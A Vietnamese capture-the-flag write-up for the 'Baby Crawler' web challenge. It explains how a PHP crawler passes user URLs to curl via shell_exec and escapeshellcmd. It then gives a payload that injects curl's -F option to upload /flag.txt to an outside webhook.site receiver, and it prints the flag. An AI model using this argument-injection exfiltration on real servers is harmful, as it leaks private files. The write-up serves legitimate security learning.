Contents

CookieCTF - Baby Crawler

Contents

Description

Link challenge tại đây

Step

Đây là giao diện chính của challenge:

https://user-images.githubusercontent.com/130943529/297949082-8cf0f0b1-d4e0-430f-b4c7-732ac0e7c898.png

Ở challenge này, khi ấn vào nút CRAWL trang web sẽ hiển thị một đường link Cached File

https://github.com/g03m0n/pics/assets/130943529/19abf4a6-ddc3-451a-811c-ee81b0a628c1

Khi click vào đường link ta sẽ thấy html của trang web

https://github.com/g03m0n/pics/assets/130943529/115ff4bf-c5c8-4556-afba-cf3b00230f0a

Quay trở lại giao diện chính, kiểm tra source code thì phát hiện 1 endpoint ?debug

https://github.com/g03m0n/pics/assets/130943529/c6407f27-c547-4d19-8a33-1aa977231233

Kiểm tra thì thấy được đoạn code chạy ở server-side. Chú ý vào đoạn code này:

https://github.com/g03m0n/pics/assets/130943529/383ac1d0-5495-4b91-991c-36d7693ea416

Đoạn code sẽ kiểm tra url người dung nhập vào có sử dụng HTTP/HTTPS hay không, nếu có website sẽ crawl web bằng lệnh curl, sau đó lưu nội dung crawl được vào một file nằm trong thư mục ./cache. Vì có hàm shell_exec nên đây có thể là một lỗi Command Injection. Ở đây hàm escapeshellcmd được dùng để chặn các ký tự &#;``|*?~<>^()[]{}$\, \x0A\xFF từ url người dùng nhập vào.

https://github.com/g03m0n/pics/assets/130943529/7f9fa208-0120-468a-a3a6-e5a7640db9db

Vì vậy ta không thể bypass được challenge này theo hướng sử dụng các ký tự ; hay &, bắt buộc phải đi theo một hướng khác. Thay vì inject một câu lệnh để server thực hiện sau khi đã thực hiện lệnh curl, ta có thể tận dụng trực tiếp câu lệnh curl để gửi nội dung của file tới một server do ta tự dựng lên với option -F.

Mình sẽ sử dụng webhook.site để làm server nhận file gửi đến.

https://github.com/g03m0n/pics/assets/130943529/35e00b65-6578-4705-8fa3-e80f02008521

Payload: http://18.142.90.137:31315/ -F file=@/flag.txt https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11

https://github.com/g03m0n/pics/assets/130943529/05a9a249-1dc4-437b-a27f-98b55ca16816

Tải file flag.txt về ta được flag: CHH{b48Y_CUrl_CrAwl3r_1c7ddee4c53dfc5fc952c63ca0aebb9a}